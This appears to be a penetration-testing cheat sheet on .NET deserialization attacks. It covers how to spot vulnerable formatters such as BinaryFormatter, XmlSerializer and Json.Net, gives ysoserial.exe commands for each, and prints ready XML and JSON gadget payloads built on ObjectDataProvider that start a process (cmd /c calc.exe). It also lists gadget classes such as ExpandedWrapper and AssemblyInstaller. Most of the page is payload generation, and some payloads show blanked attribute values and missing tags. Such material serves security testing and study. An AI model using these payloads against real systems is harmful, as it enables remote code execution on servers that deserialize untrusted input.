Skip to content

.NET Serialization



  • AAEAAD (Hex) = .NET deserialization BinaryFormatter
  • FF01 (Hex) / /w (Base64) = .NET ViewState




.NET Native Formatters from pwntester/attacking-net-serialization


  • In C# source code, look for XmlSerializer(typeof(<TYPE>));.
  • The attacker must control the type of the XmlSerializer.
  • Payload output: XML
.\ysoserial.exe -g ObjectDataProvider -f XmlSerializer -c "calc.exe"
<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="" xmlns:xsd="" >
                <anyType xmlns:xsi="" xmlns:xsd="" xsi:type="xsd:string">
                    <![CDATA[<ResourceDictionary xmlns="" xmlns:d="" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc.exe</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
            <ObjectInstance xsi:type="XamlReader"></ObjectInstance>


The DataContractSerializer deserializes in a loosely coupled way. It never reads common language runtime (CLR) type and assembly names from the incoming data. The security model for the XmlSerializer is similar to that of the DataContractSerializer, and differs mostly in details. For example, the XmlIncludeAttribute attribute is used for type inclusion instead of the KnownTypeAttribute attribute.

  • In C# source code, look for DataContractSerializer(typeof(<TYPE>)).
  • Payload output: XML
  • Data Type must be user-controlled to be exploitable


It extends the System.Runtime.Serialization.XmlObjectSerializer class and is capable of serializing any type annotated with serializable attribute as BinaryFormatter.

  • In C# source code, look for NetDataContractSerializer().ReadObject().
  • Payload output: XML
.\ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "calc.exe" -o base64 -t


  • Use BinaryFormatter internally.
.\ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64 -t


  • In C# source code, look for JsonConvert.DeserializeObject<Expected>(json, new JsonSerializerSettings.
  • Payload output: JSON
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc.exe" -t
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 
        '$type':'System.Collections.ArrayList, mscorlib, Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd', '/c calc.exe']
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=, Culture=neutral, PublicKeyToken=b77a5c561934e089'}


The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can’t be made secure.

  • In C# source code, look for System.Runtime.Serialization.Binary.BinaryFormatter.
  • Exploitation requires [Serializable] or ISerializable interface.
  • Payload output: Binary
./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t

POP Gadgets

These gadgets must have the following properties: * Serializable * Public/settable variables * Magic "functions": Get/Set, OnSerialisation, Constructors/Destructors

You must carefully select your gadgets for a targeted formatter.

List of popular gadgets used in common payloads. * ObjectDataProvider from C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll * Use MethodParameters to set arbitrary parameters * Use MethodName to call an arbitrary function * ExpandedWrapper * Specify the object types of the objects that are encapsulated

ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
* System.Configuration.Install.AssemblyInstaller * Execute payload with Assembly.Load
// System.Configuration.Install.AssemblyInstaller
public void set_Path(string value){
    if (value == null){
        this.assembly = null;
    this.assembly = Assembly.LoadFrom(value);